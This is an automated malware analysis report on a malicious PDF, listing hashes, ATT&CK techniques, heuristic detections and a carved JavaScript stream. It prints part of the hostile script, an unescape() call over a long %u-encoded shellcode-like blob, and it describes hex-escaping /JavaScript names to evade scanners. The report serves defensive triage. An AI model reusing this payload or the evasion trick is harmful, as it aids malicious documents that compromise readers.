PDF malware analysis — malicious · 224cbefcde33a069

MALICIOUS

PDF

1.6 KB First seen: 2021-11-21

MD5: eca96d355bdbed75e780c20ac78b2e38 SHA-1: 4407a9e3d092085f1e7ec4e41c659fa42de89e72 SHA-256: 224cbefcde33a069536968ccf0f75cc356e95313e230623f1958708388a6a6b9

268 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains obfuscated JavaScript, indicated by multiple heuristic firings including PDF_OBFUSCATED_NAME_OBJECT and PDF_JS_EXPLOIT_CLUSTER. The JavaScript uses the unescape function, a common technique for obfuscation. The primary purpose of the script appears to be downloading and executing a second-stage payload, as suggested by the exploit cluster heuristic. The ML classifier also strongly indicates maliciousness.

Machine Learning

Nyx PDF Classifier malicious score 0.9945

Heuristics 6

ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION

ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT

A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

    var qAogjTpQAktohWHNZaDVtfqkiSXGOdamUNqmdsUwiuKGnadBHbsOCCiPvwPDNRMPXNjGHEqgFYOgJjFcAFD = unescape("%u274b%uf9fc%u9899%u4027%u4e91%u97f5%u4f99%u4e99%u9bfc%u373f%ud640%ufd49%u969b%u9bd6%uf546%u90f9%uf943%u379b%uf999%ufc41%u48f8%u42fd%u4698%u41f5%u4b97%u2790%u4937%u27d6%u4e46%u90f5%u4b98%ufd3f%u2f9b%u41f8%u4e46%u4a40%u9bd6%u2f49%u4af5%u4096%u9097%u9f91%ud6fd%u2f4b%u9b48%u4991%u4a99%u40d6%u49f5%u9191%u9f4b%u3f40%u3f43%uf542%uf891%u929f%ufc92%u2f37%ufc42%u4ef9%uf943%u4f40%u9f91%u91fd%ud64f%u4227 …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0006_000.js`	pdf-javascript-stream	PDF /JS object 6 at offset 0x1F4	1096 bytes
SHA-256: `3d12196b6804ebcf311974ffe2f416f1778da2c5c96e62620d72a387acfbfbb7`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var qAogjTpQAktohWHNZaDVtfqkiSXGOdamUNqmdsUwiuKGnadBHbsOCCiPvwPDNRMPXNjGHEqgFYOgJjFcAFD = unescape("%u274b%uf9fc%u9899%u4027%u4e91%u97f5%u4f99%u4e99%u9bfc%u373f%ud640%ufd49%u969b%u9bd6%uf546%u90f9%uf943%u379b%uf999%ufc41%u48f8%u42fd%u4698%u41f5%u4b97%u2790%u4937%u27d6%u4e46%u90f5%u4b98%ufd3f%u2f9b%u41f8%u4e46%u4a40%u9bd6%u2f49%u4af5%u4096%u9097%u9f91%ud6fd%u2f4b%u9b48%u4991%u4a99%u40d6%u49f5%u9191%u9f4b%u3f40%u3f43%uf542%uf891%u929f%ufc92%u2f37%ufc42%u4ef9%uf943%u4f40%u9f91%u91fd%ud64f%u4227%uf540%u2f97%u464a%uf948%u9237%u4647%u49fc%u989b%u993f%u4b91%ufc97%u4a2f%uf8d6%ud6f9%u374a%u99f8%u4f96%u9092%ufd27%u9742%u90f5%u43f5%u3f9b%u2742%u9b91%u9749%u9b47%u4ff8%u4f90%u4698%u4227%u9698%u4b4b%u9643%u922f%u98f8%ud649%u9727%u4e41%u47d6%ufcf8%u4b4f%u4890%u2f4f%u9690%uf943%u46f5%u4f4f%u2f42%u4096%u9837%u4e46%u4997%ud637%u9843%u9b90%ud643%u3f47%u2f4b%u9248%uf846%u9243%u91f9%ufcf8%u41fd%u4097%u9f49%u4f4f%u2f9f%uf9f9%ufd46%u439b%uf997%uf53f%u4efc%u9746%u9b93%u2746%u482f%u979f%u41fc%uf5fd%u9046%u994a%u4e49%uf948%u4741%u484e%u274e%u90f9%u9099%u4b97%uf89b%uf937%u4940%u4627%u9ffd%u9696%u9240%

Open this report in the interactive analyzer, or submit your own file for analysis.